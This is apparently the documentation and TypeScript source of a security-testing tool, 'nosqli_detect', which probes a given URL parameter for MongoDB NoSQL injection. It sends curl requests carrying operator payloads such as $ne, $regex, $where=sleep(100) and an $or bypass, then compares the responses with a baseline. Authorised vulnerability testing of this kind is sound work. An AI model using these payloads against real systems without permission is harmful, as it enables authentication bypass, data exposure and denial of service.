nosqli_detect
Detect NoSQL injection vulnerabilities by testing MongoDB operator injection in query parameters and JSON body. Identifies injection points using payloads for $ne, $gt, $regex, and $where operators.
Instructions
Test NoSQL injection detection in query parameters. Tests MongoDB operator injection ($ne, $gt, $regex, $where) in GET parameters and JSON body to detect NoSQL injection points. Returns: {baseline, results: [{payload_name, status, length, different}], injectable}. Side effects: Read-only. Sends ~10 requests.
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | URL with query parameter to test, e.g. https://target/api/products?category=Gifts | |
| parameter | Yes | Parameter name to test for NoSQL injection | |
| method | No | HTTP method | GET |
| content_type | No | 'query' for URL params, 'json' for JSON body | query |
Implementation Reference
- src/tools/nosqli.ts:198-361 (handler)The handler and schema for 'nosqli_detect' tool. It tests MongoDB operator injection using curl commands based on provided URL, parameter, and method/content_type parameters.
server.tool( "nosqli_detect", "Test NoSQL injection detection in query parameters. Tests MongoDB operator injection ($ne, $gt, $regex, $where) in GET parameters and JSON body to detect NoSQL injection points. Returns: {baseline, results: [{payload_name, status, length, different}], injectable}. Side effects: Read-only. Sends ~10 requests.", { url: z .string() .describe( "URL with query parameter to test, e.g. https://target/api/products?category=Gifts" ), parameter: z .string() .describe("Parameter name to test for NoSQL injection"), method: z .enum(["GET", "POST"]) .describe("HTTP method") .default("GET"), content_type: z .enum(["query", "json"]) .describe("'query' for URL params, 'json' for JSON body") .default("query"), }, async ({ url, parameter, method: _method, content_type }) => { requireTool("curl"); const baseUrl = url.split("?")[0]; // Get baseline let baselineRes; if (content_type === "query") { baselineRes = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", url, ]); } else { baselineRes = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", "-X", "POST", "-H", "Content-Type: application/json", "-d", JSON.stringify({ [parameter]: "test" }), baseUrl, ]); } const bp = baselineRes.stdout.split(":"); const blStatus = bp.length > 0 ? parseInt(bp[0], 10) || 0 : 0; const blLength = bp.length > 1 ? parseInt(bp[1], 10) || 0 : 0; let testPayloads: [string, string][]; if (content_type === "query") { testPayloads = [ ["$ne_null", `${parameter}[$ne]=null`], ["$ne_empty", `${parameter}[$ne]=`], ["$gt_empty", `${parameter}[$gt]=`], ["$regex_all", `${parameter}[$regex]=.*`], ["$exists_true", `${parameter}[$exists]=true`], ["$where_true", `$where=1`], ["$where_sleep", `$where=sleep(100)`], ["regex_injection", `${parameter}='+{$regex:+'.'}'`], ["json_in_query", `${parameter}={"$ne":null}`], ]; } else { testPayloads = [ ["$ne_null", JSON.stringify({ [parameter]: { $ne: null } })], ["$ne_empty", JSON.stringify({ [parameter]: { $ne: "" } })], ["$gt_empty", JSON.stringify({ [parameter]: { $gt: "" } })], ["$regex_all", JSON.stringify({ [parameter]: { $regex: ".*" } })], [ "$exists_true", JSON.stringify({ [parameter]: { $exists: true } }), ], ["$where_true", JSON.stringify({ $where: "1" })], [ "$or_bypass", JSON.stringify({ $or: [ { [parameter]: { $ne: "" } }, { [parameter]: { $exists: true } }, ], }), ], ]; } const results: Array<{ payload_name: string; payload: string; status: number; length: number; different_from_baseline: boolean; }> = []; for (const [payloadName, payload] of testPayloads) { let curlArgs: string[]; if (content_type === "query") { curlArgs = [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", `${baseUrl}?${payload}`, ]; } else { curlArgs = [ "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}", "-X", "POST", "-H", "Content-Type: application/json", "-d", payload, baseUrl, ]; } const res = await runCmd("curl", curlArgs); const parts = res.stdout.split(":"); const status = parts.length > 0 ? parseInt(parts[0], 10) || 0 : 0; const length = parts.length > 1 ? parseInt(parts[1], 10) || 0 : 0; const different = status !== blStatus || Math.abs(length - blLength) > 50; results.push({ payload_name: payloadName, payload: payload.slice(0, 200), status, length, different_from_baseline: different, }); } const injectablePayloads = results.filter( (r) => r.different_from_baseline ); const result = { baseline: { status: blStatus, length: blLength }, results, injectable_payloads: injectablePayloads.map((r) => r.payload_name), injectable: injectablePayloads.length > 0, hint: injectablePayloads.length > 0 ? `NoSQL injection likely! ${injectablePayloads.length} payload(s) produced different responses.` : "No injection indicators. Parameter appears properly sanitized.", }; return { content: [{ type: "text", text: JSON.stringify(result, null, 2) }] }; } );